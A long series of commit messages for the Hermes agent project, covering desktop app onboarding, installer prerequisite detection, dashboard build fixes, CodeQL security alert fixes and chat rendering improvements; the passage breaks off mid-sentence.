Self-review of #34375 fix: the cleanup path ran media_pattern.sub('') over
the JSON-masked copy of the text, which baked the masking spaces into the
user-visible 'cleaned' string — a serialized tool result like
{"old":"MEDIA:/x.png"} came back as {"old":" "}.
Now mask only a length-equal copy of 'cleaned' to locate the real tag spans,
then delete those spans from the unmasked 'cleaned'. Real tags are stripped;
JSON-embedded MEDIA: text reads back verbatim. Masking 'cleaned' (not the
original 'content') keeps offsets valid after the [[audio_as_voice]] /
[[as_document]] directives are removed. Adds two cleaned-text regression tests.
Serialized tool results frequently embed a prior reply's text, e.g.
{"result": "MEDIA:/path/stale.png"}. The bare-path branch of
MEDIA_TAG_CLEANUP_RE matched these and re-delivered stale files (#34375).
Adds BasePlatformAdapter._mask_json_string_media, which blanks (offset-
preserving) only MEDIA:<bare-path> tokens that sit inside a JSON value-
context string (opened by : , { or [). Legitimate tags at line start,
after prose, indented, MEDIA:"quoted" form, and two-line TTS output are
all left untouched.
Reworked from the approach in #34388 (a line-start regex anchor), which
no longer applied to current main and regressed same-line/indented tags.

* feat: better composer etc
* docs: add desktop and dashboard run instructions
* fix(desktop): address security scan findings
* fix(dashboard): resolve @nous-research/ui path under npm workspaces
The sync-assets prebuild step shelled out to 'cp -r
node_modules/@nous-research/ui/dist/fonts ...' with a path relative
to apps/dashboard/. That works only when the dep is installed
locally in the dashboard workspace, but 'npm install' at the repo
root (the documented setup — see apps/desktop/README.md) hoists
shared deps to the root node_modules under npm workspaces. The
relative cp then fails with 'No such file or directory', sync-assets
exits 1, the Vite build aborts, and 'hermes dashboard' surfaces a
generic 'Web UI build failed' message.
Replace the shell one-liner with scripts/sync-assets.cjs, which
walks up from the dashboard directory looking for node_modules/
@nous-research/ui — working in both the hoisted (workspaces) and
co-located (standalone) layouts. Also guards against a missing
dist/fonts or dist/assets with a clearer error pointing at a
rebuild of the UI package rather than silently copying nothing.
* feat(desktop): support connecting to a remote Hermes backend
Add HERMES_DESKTOP_REMOTE_URL and HERMES_DESKTOP_REMOTE_TOKEN env
vars that, when set, short-circuit the local-child spawn in
startHermes() and connect the Electron renderer to an already-
running 'hermes dashboard' server reachable over the network.
Motivating use case: WSL2 users who want to run the Hermes core
(agent loop, tools, filesystem access) inside their WSL
distribution while rendering the Electron GUI on native Windows.
Before this change, the desktop app always spawned a local Python
child on the same host as the renderer, which doesn't cross the
WSL/Windows boundary.
The remote path reuses waitForHermes() as a liveness probe
(/api/status is in the backend's public endpoint allowlist), so
the connection is only returned once the backend is actually
ready. WebSocket URL derivation picks ws:// or wss:// based on
the input scheme. URL validation rejects non-http(s) schemes and
requires both env vars together to avoid a half-configured
connection that would silently fall through to the spawn path.
No behaviour change when the env vars are unset — the default
local-spawn flow is untouched.
Typical usage:
# in WSL2
hermes dashboard --tui --no-open --host 0.0.0.0 --port 9119 --insecure
# on Windows
set HERMES_DESKTOP_REMOTE_URL=http://localhost:9119
set HERMES_DESKTOP_REMOTE_TOKEN=<session token>
set HERMES_DESKTOP_IGNORE_EXISTING=1
(launch Hermes desktop)
* ci(desktop): automate desktop releases
Add GitHub Actions release channels for signed desktop installers and document the stable/nightly download paths.
* feat: file tabs
* refactor(desktop): tighten right-rail tab close API
Promote closeRightRailTab/closeActiveRightRailTab as the single
public entry point. Drops the activeTabRef + handleCloseDocument
indirection in ChatPreviewRail, the unused $rightRailHasContent
atom, and the legacy dismissFilePreviewTarget alias. -70 LOC.
* feat(desktop): polish composer pill toward reference look
Solid foreground-on-background send/voice-conversation circle (black-on-white
in light, white-on-black in dark) anchors the right edge as the primary CTA
instead of the orange theme primary. Bumps the primary control to 2.125rem so
it visually outranks the ghost mic/plus controls. Opens up the surface padding
(0.625rem x / 0.5rem y) so the input row breathes around its controls, and
nudges the corner radius from 20 to 24px for a slightly pill-ier silhouette.
LiquidGlass distortion is preserved.
* feat(desktop): add startup and onboarding flow
Add phase-based desktop boot progress, fresh-install sandbox testing, and first-run provider credential onboarding so packaged installs can start cleanly without manual settings detours.
* fix(desktop): gate prompts on provider setup
Show the desktop provider onboarding flow before prompt submission when no inference provider is configured, preventing fresh installs from falling through to backend credential errors.
* fix(desktop): surface provider onboarding from session warnings
Propagate credential warnings through session runtime info and open desktop onboarding whenever a session reports no usable provider, so unconfigured installs cannot fall through to prompt errors.
* fix(desktop): route gateway provider errors to onboarding
The "No inference provider configured" auth error reaches the renderer through gateway error events, not the prompt.submit promise; the previous patch only caught the latter, so the error toast still surfaced and onboarding never opened.
Also strip credential-shaped env vars from the test:desktop:fresh sandbox so the packaged backend can't see provider keys leaking from the launching shell.
* fix(desktop): use strict runtime check to drive onboarding
setup.status returned True whenever any provider auth state was discoverable, including indirect fallbacks like a gh-CLI Copilot token. That made desktop think the user was set up while the agent's actual resolve_runtime_provider call still raised AuthError, leaving the user with a useless toast and no onboarding.
Add a setup.runtime_check gateway method that runs the same resolver the agent uses on session creation, and switch the desktop onboarding overlay and prompt precheck to use it.
* feat(desktop): OAuth-first onboarding using existing dashboard provider API
Replace the engineer-flavored API key form with a Sign-in-first onboarding overlay that uses the dashboard's existing /api/providers/oauth catalog and PKCE/device-code endpoints (Anthropic, Nous, OpenAI Codex, etc.). API key entry is now a fallback tab with friendly provider names instead of env var prefixes, and the loud raw resolver error is gone in favor of a one-line welcome message.
* fix(desktop): polish onboarding provider list
Reorder OAuth providers so Nous Portal is first, give the segmented Sign in / API key control equal column widths, and replace the engineer-flavored backend names like "Anthropic (Claude API)" / "MiniMax (OAuth)" with friendlier in-app titles. External-CLI providers now show a softer subtitle and an external-link icon instead of a chevron.
* refactor(desktop): split onboarding overlay into store + view
Move the OAuth state machine, runtime check, copy-to-clipboard, and api-key save into store/onboarding.ts (matching the boot.ts pattern), leaving the overlay as a presentation layer that subscribes via useStore. Tabs are now table-driven, child panels read flow from the store instead of prop-drilling, and the polling/PKCE/error/success branches share a small Status atom.
* fix(desktop): external CLI providers + center mode tabs
External-CLI providers (Claude Code, Qwen Code) now open an in-overlay panel with the CLI command, copy button, and an "I've signed in" recheck instead of firing an invisible toast. Center the Sign in / API key tab control so it sits under the heading instead of hugging the left edge.
* fix(desktop): drop onboarding tabs for an inline link, group device-code waiting state
Replace the Sign in / API key tab pair with an "I have an API key" footer link under the OAuth provider list, with a "Back to sign in" affordance inside the API key form. Group the device-code "Waiting for you to authorize..." status next to the Cancel button so the alignment matches the action.
* refactor(desktop): tighten onboarding store + overlay
Drop the dead isOnboardingBusy/BUSY set, factor the catch-fallback dance into safeReq, and share a single reloadAndConnect helper between PKCE submit, device-code success, external recheck, and api-key save.
In the overlay, extract Step / CodeBlock / FlowFooter / CancelBtn / DocsLink atoms so the four sign-in panels share the same chrome instead of repeating it inline. Net effect: fewer literal divs, one place to touch the spacing, and the code-block + footer rows are reusable across future flows.
* fix(desktop): mount onboarding from frame 1 to kill the FOUT
Default onboarding.configured to null (unknown until the runtime check resolves) and have the onboarding overlay render whenever it's not yet confirmed true. The boot overlay now yields to it, so the very first paint is the Welcome card with a "While we get you set up..." progress strip instead of a flash of the chat shell between boot dismiss and onboarding mount.
The picker swaps in cleanly once the gateway opens and the runtime check confirms the user is not configured. Already-configured users see the same prep card briefly while their existing runtime warms up, then the overlay dismisses without touching the chat shell.
* fix(desktop): top-align empty sessions placeholder
The "Start a chat to build your history." empty state used a min-h-35 grid place-items-center container, which floated the text in a tall dead zone. Render it as a flat paragraph that sits right under the section header like the empty pinned state does.
* refactor(desktop): drop dead boot overlay
Onboarding overlay subsumes the boot card now that it mounts from frame 1 and renders boot progress inline. The standalone DesktopBootOverlay is unreachable in every flow (yields whenever onboarding has not confirmed configured, dismisses once it has).
* fix(desktop): hide pinned/recents sections until first session
A fresh sidebar showed the Pinned and Recent chats headers with floating empty-state copy underneath. Drop both sections (and the now-orphan SidebarEmptySessionState) when there are no sessions yet — they reappear after the first chat. Skeletons during initial load are unchanged.
* feat(gui): route embedded TUI through dashboard gateway (#21979)
Inject HERMES_TUI_GATEWAY_URL into dashboard PTY sessions so embedded ui-tui instances attach to the in-process websocket gateway, with coverage for the new env wiring.
* Add desktop remote gateway settings
Make the desktop gateway connection configurable from settings so local remains the default while remote backends can be saved, tested, and applied without environment variables.
* feat(gui): first-class Messaging page + gateway menu redesign
- Add Messaging page to the desktop app with per-platform setup,
status, and inline guidance. Catalog derives from gateway.config
Platform enum + plugin registry, so every messaging adapter the CLI
supports (Telegram, Discord, Slack, Mattermost, Matrix, WhatsApp,
Signal, BlueBubbles, Home Assistant, Email, SMS, DingTalk, Feishu,
WeCom, Weixin, QQ, Yuanbao, API server, Webhooks, plugins) shows up
without per-platform code.
- New REST endpoints: GET /api/messaging/platforms, PUT and POST
/test on the same path. Secrets go through the existing .env
pipeline; enable/disable writes config.yaml.
- Replace gateway statusbar dropdown with a richer panel: status row,
icon-only restart + system-panel actions, recent activity (with
timestamps trimmed in display, full text on hover), platform list.
- Auto-poll the messaging page every 6s (paused when hidden) so
status updates without a manual check.
- Drop Settings / Command Center from the sidebar nav (still
reachable via shortcuts and the titlebar cog).
- Flatten top corners on Messaging/Skills/Artifacts/Chat panes.
- Share new StatusDot component across messaging + gateway menu.
- Fix gateway/config.py so an explicit platforms.<name>.enabled=false
in config.yaml is honored when env tokens are present.
- pb-9 on the chat content area for breathing room above the composer.
* Potential fix for pull request finding 'CodeQL / Clear-text logging of sensitive information'
Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
* pin electron version
* hide application menu on non-mac systems
* interpret compactPreview for non-string vlaues as JSON or an empty string
* fix(desktop): keep composer contenteditable mounted across stacked toggle
The composer rendered {input} inside two different parent fragments
depending on `stacked`. When auto-expand flipped `stacked` (e.g. the
moment typed text wrapped past two lines), React reconciled the two
branches as different positions and unmounted/remounted the
contenteditable. The fresh mount started empty, so any in-flight
characters — most reliably reproduced by holding a key — were lost.
Replace the conditional with a single CSS Grid whose template-areas
swap on `stacked`. The three children (menu, input, controls) keep
stable identities across the toggle; only their grid placement
changes, which the browser handles without React tearing down the
editor.
* refactor(desktop): align install layout with install.ps1 / install.sh
Make the desktop app's runtime layout match what scripts/install.ps1 and
scripts/install.sh produce, so a desktop-only user and a CLI-only user end
up with the same files in the same places and can share one install.
Layout
- ACTIVE_HERMES_ROOT = HERMES_HOME/hermes-agent (was: process.resourcesPath/hermes-agent, read-only)
- VENV_ROOT = HERMES_HOME/hermes-agent/venv (was: userData/hermes-runtime)
- desktop.log = HERMES_HOME/logs/desktop.log (was: userData/desktop.log)
- HERMES_HOME default: %LOCALAPPDATA%\hermes on Windows, ~/.hermes elsewhere
The packaged .app/.exe still ships a read-only payload at
process.resourcesPath/hermes-agent (FACTORY_HERMES_ROOT). On first launch
or after an installer-driven upgrade we sync factory -> active, then
provision the venv and run pip install -e . against the active root.
Key behaviors
- Pin HERMES_HOME in the spawned Python's env so get_hermes_home() resolves
to the same path resolveHermesHome() picked. Without this, Python falls
back to ~/.hermes on every platform - fine on mac/linux, a split-state
bug on Windows where our default is %LOCALAPPDATA%\hermes.
- Detect developer installs by .git presence at ACTIVE; never overwrite
a user's checkout via factory sync.
- Marker at ACTIVE/.hermes-desktop-runtime.json (schema v4) tracks
pyproject hash + factory version + runtime schema version. depsFresh
fast-paths when nothing changed.
- Dev (npm run dev) prefers SOURCE_REPO_ROOT over ACTIVE so devs run
their local edits, not whatever's under HERMES_HOME.
- Better error messages distinguish "no payload" from "no Python".
- Preserve a legacy ~/.hermes on Windows when no %LOCALAPPDATA%\hermes
exists, so users with prior pip/manual installs aren't orphaned.
pyproject.toml
- Promote fastapi, uvicorn[standard], ptyprocess (non-Windows), and
pywinpty (Windows) to main dependencies. The dashboard backend
(hermes dashboard) needs them at runtime; the previous lazy-import
fallback was a footgun for fresh installs.
- Empty the [pty] optional-extra; kept as a no-op back-compat alias for
any existing pip install hermes-agent[pty] invocations.
Drops the hardcoded BUNDLED_RUNTIME_REQUIREMENTS list in main.cjs - the
desktop now installs whatever pyproject.toml says, single source of truth.
Files
- apps/desktop/electron/main.cjs: runtime layout, HERMES_HOME pin,
factory->active sync, marker v4
- apps/desktop/scripts/test-desktop.mjs: track new venv location
- apps/desktop/README.md: new Setup, Runtime Bootstrap, and
Debugging sections
- pyproject.toml: fastapi/uvicorn/pty backends in main

Tested locally on Windows: npm run dev boots cleanly, sessions land at
the new location, type-check + lint + test:desktop:platforms all pass.
Verified end-to-end on a fresh Win11 VM via dist:win installer.
Known gaps (filed as follow-ups, not in this PR):
- Skills not seeded on packaged installs (sync_skills only runs in
cmd_chat, not cmd_dashboard). Need to move to shared pre-dispatch.
- Git Bash not bundled or detected; agent's terminal tool errors out
with a useful message but desktop bootstrapper should pre-flight it.
- install.ps1 / install.sh should be decomposed into composable phase
libraries so the desktop bootstrapper can reuse them as a single
source of truth across all install surfaces.
* feat(desktop): theme polish, prose chat typography, composer chrome
- DS tokens/midground, Backdrop, scoped scrollbars, typography plugin + prose
- Composer liquid/radius utilities, thread font parity, tool/thinking cues
- File tree label scale, preview flex, thread retry loading + streaming tests
* feat(desktop): NSIS prereq detection page + auto-install via winget
The packaged Windows installer now detects Python 3.11+ and Git for Windows
at install time and offers to install missing prereqs via winget. Mirrors
the prereq logic scripts/install.ps1 already runs for CLI installs, so
desktop installer users get the same out-of-the-box experience as
install.ps1 users.
Why
- Hermes' terminal tool calls bash.exe directly (tools/environments/
local.py); on Windows that's Git Bash from Git for Windows. Without it,
the agent fails on the first terminal() call.
- Hermes' Python runtime needs 3.11+. Without it, the desktop bootstrapper
errors out at venv creation.
- Both gaps surfaced on a fresh Windows 11 VM smoke test: VM had Python
pre-installed but no Git, so the agent's first terminal call failed
with "Git Bash isn't installed."
- install.ps1 has had Install-Git + Install-Uv functions for ages. The
desktop installer was the asymmetric outlier.
How — NSIS prereq page
- New file: apps/desktop/installer/prereq-check.nsh (plugged into
electron-builder via build.nsis.include)
- Real Wizard page using nsDialogs, inserted via customPageAfterChangeDir
hook (between the Directory page and InstFiles).
- Group boxes for Python and Git, each showing detection status.
- Pre-checked install checkboxes when winget is available.
- Auto-skips silently if both prereqs are already installed.
- Falls back to manual download URLs when winget itself is missing.
- Detection:
- Python: probes `py -3.11`/`-3.12`/`-3.13`/`-3.14` via the Python
launcher. Microsoft Store "Python stub" (no py.exe) is correctly
classified as not-installed.
- Git: `where git`.
- winget: `where winget` (Win10 1809+ / Win11 with App Installer).
- Install execution (in customInstall macro):
- Python: nsExec::ExecToLog with `--scope user --silent`. Per-user
install, no UAC prompt, output streams to install log.
- Git: ExecShellWait via Windows ShellExecute. Critical because Git
always installs per-machine and triggers UAC; ShellExecute preserves
the foreground focus chain across non-elevated → elevated process
spawns, so UAC actually comes to the foreground. nsExec::ExecToLog
breaks the chain because winget runs hidden.
- Both pass `--disable-interactivity --accept-package-agreements
--accept-source-agreements` to suppress winget's own dialogs.
- Verification: probes Git's standard install locations via FileExists
rather than `where git`. NSIS's process inherits PATH at startup, so
a freshly-installed Git won't be visible to `where` until restart.
- Silent installs (/S) skip the prompts; managed deploys handle prereqs
out-of-band via Group Policy / Intune.
How — Electron-side safety net
- New findGitBash() in main.cjs, parallel to findSystemPython(). Probes
the same locations as tools/environments/local.py:_find_bash() so a
positive result here means the agent's terminal tool will work.
- ensureRuntime now throws a clear, actionable error on Windows when Git
Bash isn't found, matching the existing "Python 3.11+ is required"
error path.
- Catches users the NSIS page doesn't: .msi installer users (NSIS prereq
page doesn't run for MSI), `npm run dev` users, manual installers,
anyone who unchecked the install boxes on the NSIS prereq page.
- All gated on `IS_WINDOWS`; macOS / Linux unaffected.
NSIS build issue (resolved)
- electron-builder defaults to `-WX` (warnings as errors). NSIS optimizer
emits "warning 6010: function not referenced" for our page functions
because Page custom directives don't count as references in its
static-analysis pass. The functions ARE called at runtime when NSIS
invokes the page; the optimizer just can't see it statically.
- Set `build.nsis.warningsAsErrors=false` in package.json so this
spurious warning doesn't fail the build. (Documented option from
electron-builder's nsisOptions.)
Out of scope (filed for future work)
- MSI prereq detection: Windows Installer custom actions are a different
mechanism. Enterprise deploys typically handle prereqs via GP/Intune.
- Bundle PortableGit + python-build-standalone in extraResources for
zero-network installs. ~80MB increase.
- Mac / Linux GUI prereq flows (different installer formats; Xcode CLT
covers most macOS prereqs already; Linux is per-distro hard).
Files
- apps/desktop/installer/prereq-check.nsh (new, ~290 lines NSIS)
- apps/desktop/package.json (build.nsis.include +
warningsAsErrors)
- apps/desktop/electron/main.cjs (findGitBash + preflight)
- apps/desktop/README.md (Runtime prerequisites
section)
Cross-platform impact
- macOS / Linux builds (dist:mac, dist:mac:dmg, dist:mac:zip): nsis
config is ignored entirely; .nsh is dormant.
- npm run dev: .nsh dormant; main.cjs preflight gated on IS_WINDOWS.
- scripts/install.ps1, scripts/install.sh: no reference to any new
files; CLI install paths untouched.
- Hermes CLI / dashboard / gateway: no reference; runtime untouched.
- All checks: node --check on main.cjs and test-desktop.mjs pass;
npm run test:desktop:platforms 4/4 passing; node --test green.
Tested
- npm run dist:win produces signed .exe and .msi without errors.
- Fresh Win11 VM (Python pre-installed, no Git): prereq page renders,
Python check shows detected, Git checkbox pre-checked. Click Next →
Git installs via winget with UAC prompt in foreground.
- After install completes, Hermes launches and the agent's terminal
tool can run bash commands. Verified Git Bash is detected at
`C:\Program Files\Git\bin\bash.exe` by ensureRuntime's preflight.
* feat: theme changes, composer tweaks, in app update ux, finesse
* fix(cli): seed bundled skills on dashboard + gateway entrypoints
`sync_skills(quiet=True)` was only being called from inside `cmd_chat`,
which meant `hermes dashboard` (the desktop GUI's backend) and `hermes
gateway` (Telegram/Discord/Slack/etc daemons) never seeded the bundled
skill library into ~/.hermes/skills/.
This surfaced as "No skills found" in the desktop GUI's skills panel on
fresh installs, despite the agent having access to the full bundled
library when invoked via `hermes chat`. scripts/install.ps1 worked
around it by running skills_sync.py as part of Copy-ConfigTemplates,
but that's not part of the desktop installer's bootstrap chain.
Fix
- Extract the skills-sync block from cmd_chat into a module-level
`_sync_bundled_skills_quietly()` helper.
- Call the helper from cmd_chat (preserving existing behavior),
cmd_dashboard (after the --status/--stop early-return paths and
fastapi import check, so we don't run skills_sync on management
commands or when deps aren't installed), and cmd_gateway.
Why these three entrypoints
- cmd_chat: the user's primary CLI entrypoint
- cmd_dashboard: the desktop GUI's backend; this is what `hermes
dashboard --tui` invokes when the desktop bootstrapper spawns Hermes
- cmd_gateway: long-running daemons where the user expects the agent
to have full skill access
Other entrypoints (cmd_config, cmd_doctor, cmd_login, cmd_status,
etc.) are management commands that don't need skill discovery and were
never running skills_sync in the first place — leaving them alone.
Idempotence
- tools/skills_sync.py is manifest-based: skipped skills cost
milliseconds. Calling it from multiple entrypoints adds no real
cost, and users running `hermes chat` then `hermes dashboard` get
two fast no-ops on the second call.
Failure handling
- Helper wraps skills_sync in try/except. Skills are an enhancement,
not a hard dependency — Hermes runs fine with an empty skills/ dir.
Files
- hermes_cli/main.py:
+ new helper `_sync_bundled_skills_quietly()` at module level
+ cmd_chat: replace inline block with helper call
+ cmd_dashboard: add helper call after fastapi import succeeds
+ cmd_gateway: add helper call before delegating to gateway_command
* feat(desktop): hoisted todo widget, JSON tool summaries, history grouping & timer fixes
- Hoist todo to first-class widget (shadcn checkboxes, brand colors, no
tool-accordion). Header derives label from active task; non-active rows fade.
- Replace raw JSON dumps with structured key/value summaries via
formatToolResultSummary; nested error extraction for clearer failures.
- Fix loaded-session grouping: stitch interleaved assistant/tool iterations
into one bubble instead of orphaned synthetic messages.
- Stable tool/thinking timers via keyed registry so unmount/scroll doesn't
reset elapsed counts; gate "running" on real live thread state.
- Reorganize chat-only assistant-ui components under components/chat/.
* fix(desktop): address CodeQL alerts on PR #20059
- settings/helpers.ts: harden setNested against prototype pollution.
POLLUTING_PATH_PARTS check is now applied at every assignment site
(loop + leaf) and uses Object.defineProperty so CodeQL can see the
guard inline rather than via a helper function call.
- lib/markdown-preprocess.ts: rebuild the dangling-fence close regex
from a fence-char + length instead of marker.replace(...). The marker
is captured by `(`{3,}|~{3,})` so it can only be backticks or tildes,
but CodeQL was tracing tainted input text into the RegExp source and
flagging hostname dots from input as part of the pattern (false
positive js/incomplete-hostname-regexp on the test fixture URLs).
Reconstructing from a literal char breaks the dataflow.
- scripts/notarize-artifact.cjs: drop args from the run() rejection
message. Args carry --key-id / --issuer / key file path; the existing
outer catch already squashes errors to a generic line, but CodeQL was
flagging the args.join(' ') as clear-text logging of APPLE_API_KEY_ID.
Composer DOM-text-as-HTML alerts (composer/index.tsx:379, :547) are
already addressed in 4dd9732a9 — innerHTML assignment was replaced with
renderComposerContents which builds DOM via replaceChildren / append
text nodes (no HTML interpretation).
* fix(desktop): inline prototype-pollution guard so CodeQL sees it
CodeQL's dataflow doesn't follow the helper-function guard inside
`safeSet`, so it kept flagging Object.defineProperty as prototype-
polluting. Inline the literal `__proto__`/`constructor`/`prototype`
check at the assignment site to break the dataflow.
Behavior unchanged — same set of disallowed keys, same throw.
* feat(ui-tui): resolve links to readable page titles
Mirror desktop pretty-link behavior in the TUI by resolving HTTP links to page titles with shared caching and safe fetch filters, plus slug-based fallbacks so chat links stay readable even when title fetch fails.
* fix(desktop): drop RegExp from dangling-fence close detection
Previous attempt tried to break the dataflow by reconstructing the
close-fence regex from a literal char + marker.length, but CodeQL still
traced marker.length back to input and kept flagging the test-fixture
URLs as hostname-regex sources (js/incomplete-hostname-regexp).
Replace `new RegExp(...)` + `closeRe.test(body)` with a string-only
hasCloseFenceLine() helper that splits on '\n' and uses ===. No regex
on this path now, so input data can no longer reach a RegExp source.
Behavior preserved: matches lines that are (whitespace + marker +
whitespace), which is what the original `\n[ \t]*${marker}[ \t]*(?=\n|$)`
matched. All 12 markdown-text tests still pass.
* fix(process-registry): suppress windows-footgun false positive on guarded killpg
Keep the existing POSIX-only process-group teardown path, but make the
signal selection explicit via getattr and add an inline windows-footgun
suppression marker on the guarded os.killpg line so the Windows footgun
check no longer blocks CI on this intentionally platform-gated code.
* feat(desktop): reconcile live tool events, polish thread chrome, harden boot
- chat-messages: match tool rows by overlapping query/context/preview values
so preview-first `tool.progress` rows reliably adopt later stable-id
`tool.start` payloads instead of spawning ghost rows or mis-merging
parallel same-name calls; preserve prior args/result across phases.
- tui_gateway: emit full args + parsed result on `tool.start` / `tool.complete`,
drop redundant `tool.started` re-emit from `tool.progress`.
- electron/main: prefer SOURCE_REPO_ROOT before PATH `hermes` in dev so
local backend edits actually run; split hardening helpers into
`electron/hardening.cjs` with tests.
- thread/tool UI: one-shot enter animation keyed by stable ids, braille
spinner for running rows, Cursor-like disclosure rows, drill-down +
duration/count formatting via new tool-fallback-model.
- composer: extract `text-utils`, drop liquid-glass overrides.
- right-rail: split preview-pane into preview-console / preview-file.
- runtime: incremental external-store runtime + runtime-readiness gate;
onboarding store + tests; route-resume hook test.
- regression tests for live tool reconciliation (parallel tools, id-less
progress, preview-first rows, structured args/results).
* feat(desktop): add ripgrep to NSIS prereq page + polish layout
Add ripgrep as a third (recommended) prereq alongside Python and Git in
the NSIS prereq detection page, and clean up the page layout based on
on-VM testing.
Why ripgrep
- Hermes' search_files tool calls `rg` directly for content + filename
search (tools/file_operations.py:1382). Falls back to grep/find from
Git Bash when missing — works but slower and noisier (no .gitignore
awareness).
- ~5MB winget install via `BurntSushi.ripgrep.MSVC --scope user` — no
UAC prompt, parallel to how Python installs.
- scripts/install.ps1 already installs ripgrep as part of
Install-SystemPackages; this brings the desktop installer to parity.
Why "recommended" not "required"
- Python and Git are hard requirements: without them the agent runtime
or terminal tool refuses to start. The bootstrapper preflight throws.
- ripgrep is a performance enhancement: missing it just means slower
searches. Page wording reflects this; failure to install is logged
but doesn't show a MessageBox or block.
Layout polish (response to on-VM screenshot review)
- Wizard header now correctly reads "System Requirements" instead of
the leftover "Choose Install Location" from the previous page. Set
via `GetDlgItem $HWNDPARENT 1037/1038` + WM_SETTEXT — the standard
NSIS pattern for overriding the page header on a custom Page.
- Removed redundant in-body title + verbose intro paragraph; the
wizard header IS the title now. Body has one short intro line.
- Group boxes tightened to 26u with content positioned just below the
groupbox title (not top-anchored status + bottom-anchored checkbox
with empty space in the middle). All three panels + footer fit
comfortably in 126u, well under the 140u page limit.
- Checkbox labels simplified: dropped "(per-user, no admin prompt)"
and "(administrator approval required)" suffixes. The footer note
still calls out UAC for Git when relevant.
- Footer text trimmed to fit cleanly without clipping.
Install order (in customInstall macro)
- Python → ripgrep → Git
- Python and ripgrep are silent and run first; Git's UAC prompt comes
last so the user's approval interaction isn't interrupted by silent
activity afterwards.
Skip behavior unchanged
- All three detected → page auto-skips via Abort
- Silent install (/S) → customInstall winget block skips
- User unchecks all → page advances without running winget
Files
- apps/desktop/installer/prereq-check.nsh: ripgrep detection block,
ripgrep page panel + checkbox, ripgrep customInstall block,
GetDlgItem header override, layout reflow
- apps/desktop/README.md: Runtime prerequisites section updated to
list ripgrep as recommended, with manual winget command
* feat(desktop): add model-confirmation step to onboarding
After OAuth/API-key login completes, onboarding now shows a confirmation
card with the curated default model and a Change button before dropping
the user into chat. Closes the gap where the desktop's `model.default`
was empty after first launch and the agent had to fall back to whatever
heuristic happened to fire — leaving users wondering "why am I getting
sonnet-4 when I logged into Nous Portal?"
Why
- Desktop onboarding only persisted credentials, never `model.default`.
The CLI's `hermes model` command pairs provider + model selection,
but the desktop's onboarding skipped the model step entirely.
- Result: users saw whichever model the agent's auto-fallback picked,
unpredictably and undocumented.
- For the BUILD demo we want users to land on the model they expect
for their provider, with a clear "this is what you're getting" UI
and a one-click path to change it before chatting.
How
- New `confirming_model` flow status carries the just-authenticated
provider slug, current default model, label, and a saving flag.
- `completeWithModelConfirm()` runs after credentials succeed: reloads
env, verifies runtime, fetches /api/model/options to find the curated
first-model for the provider, persists it via /api/model/set, then
transitions into `confirming_model`.
- If anything fails (no providers returned, network error), falls
through to the previous behaviour — onboarding completes without
the confirm step. Polish, not a hard requirement.
- All four credential paths (device_code OAuth, PKCE OAuth, external
CLI flow, API key) now use completeWithModelConfirm instead of
reloadAndConnect.
UI
- `ConfirmingModelPanel` shows: green "<provider> connected" banner,
card with "Default model: <name>" + Change button, and a "Start
chatting" CTA that finalises onboarding.
- Reuses the existing `ModelPickerDialog` (the same picker available
from the chat shell) for the change-model UX. Search, filtering,
multi-provider listing — all already built.
- Stacking: ModelPickerDialog defaults to z-130, which renders UNDER
the onboarding overlay (z-1300) and breaks pointer events. Added
optional `contentClassName` prop to ModelPickerDialog so callers
can override; onboarding passes `z-[1310]`.
Provider-slug matching
- For OAuth flows: pass `provider.id` directly as the preferred slug.
- For API-key flows: `OPENROUTER_API_KEY` → "openrouter" via env-key
prefix strip. Also includes the user-visible label as a fallback
candidate.
- fetchProviderDefaultModel falls back to the first authenticated
provider in the response if no preferred slug matches — so even a
miss still surfaces a reasonable default.
Files
- apps/desktop/src/store/onboarding.ts:
+ new `confirming_model` flow variant
+ fetchProviderDefaultModel + completeWithModelConfirm helpers
+ setOnboardingModel (optimistic update + revert on failure)
+ confirmOnboardingModel (finalises onboarding from the card)
- reloadAndConnect (replaced; the four call sites now go through
completeWithModelConfirm)
- apps/desktop/src/components/desktop-onboarding-overlay.tsx:
+ ConfirmingModelPanel component
+ new branch in FlowPanel for status `confirming_model`
+ ModelPickerDialog usage with z-[1310] content class
- apps/desktop/src/components/model-picker.tsx:
+ optional `contentClassName` prop on ModelPickerDialog so the
dialog can be stacked on top of other fixed overlays
Tested
- `npm run type-check` passes
- `npx eslint` clean on touched files
- Live test in `npm run dev`: cleared onboarding cache, walked
through Nous device-code flow, saw confirm card with curated
default, clicked Change → ModelPickerDialog rendered above the
onboarding overlay with working pointer events, picked a different
model, "Start chatting" persisted to ~/.hermes/config.yaml.
* fix(desktop): suppress generic provider warning in onboarding
Hide the red setup notice when the message is the generic missing-provider guidance, since onboarding already presents provider auth actions. Centralize provider-setup matching across desktop hooks and add coverage for the matcher.
* fix(desktop): add 2u clearance below prereq checkboxes
Group box bottom border was clipping the checkboxes by 1-2px.
Bumped each box height 26u→30u; checkboxes now sit 2u above the bottom border.
* fix(nix): refresh dashboard lockfile hash
Update the web npm deps hash in nix/web.nix to match the committed apps/dashboard/package-lock.json so bb/gui passes the nix lockfile check.
* fix(desktop): install TUI deps in release workflow
Ensure desktop release builds install the standalone ui-tui package before bundling the TUI payload.
* fix(desktop): run release builder from app package
Invoke the desktop builder through the package script so electron-builder uses apps/desktop/package.json.
* fix(desktop): expand release artifact names safely
Build desktop artifact names from workflow version/channel while preserving electron-builder platform macros.
* fix(desktop): use package artifact naming in release workflow
Let electron-builder's desktop package config provide platform-specific artifact extensions while the workflow injects the release version/channel metadata.
* fix(nix): fetch dashboard npm deps from package root
Point the dashboard npm dependency fetch at apps/dashboard so Nix can find the package lockfile after the dashboard move.
* fix(nix): build dashboard from package directory
Set the web package source root to apps/dashboard so npm patch/build phases run beside the dashboard lockfile while keeping apps/shared available as a sibling.
* feat(desktop): render LaTeX math via KaTeX after streaming completes
Add @streamdown/math plugin to the chat markdown renderer.
Inline ($x^2$) and block ($$...$$) math both supported with
singleDollarTextMath enabled. Plugin is gated to non-streaming state
to match the existing pattern for syntax highlighting — math renders
when the message completes, avoiding KaTeX re-render churn during
streaming. KaTeX CSS is imported in styles.css; ~30KB CSS + ~430KB
JS added to the bundle. Smoothness improvements during streaming
deferred to a follow-up.
* perf(desktop): memoize KaTeX renders so math streams without re-rendering
Wrap rehype-katex with a per-equation LRU cache (keyed by
displayMode + source text) and re-enable math during streaming.
Stock @streamdown/math runs rehype-katex on every markdown commit,
so each new token re-katexes every equation in the message. For
math-heavy responses (an equation derived step-by-step) that's
hundreds of ms of wasted work per token and the streaming UI
chokes. With memoization, each equation pays katex.renderToString
